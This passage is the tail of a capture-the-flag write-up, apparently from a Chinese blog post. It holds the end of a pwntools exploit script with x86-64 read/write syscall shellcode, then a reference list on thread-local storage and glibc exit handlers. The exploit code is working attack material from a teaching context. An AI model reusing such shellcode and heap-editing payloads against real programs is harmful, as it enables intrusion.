mov rax, 0
syscall
/* write(1, buf, 0x30) */
mov rdi, 1
mov rax, 1
syscall
hlt
"""
payload += asm(shellcode)
edit(8, payload)
choose(6)
return
@attacker(GET_FLAG)
def get_flag(self, a:pwnlib.tubes.sock.sock):
a.interactive()
return
inter = None
needed = None
ctf(argv, inter, needed)
参考文献
- ELF Handling For Thread-Local Storage by Ulrich Drepper ↩︎
- A Deep dive into (implicit) Thread Local Storage ↩︎
- https://www.gnu.org/software/hurd/glibc/startup.html ↩︎
- https://lwn.net/Articles/631631/ ↩︎
- http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html ↩︎
Comments | 1 条评论
该评论为私密评论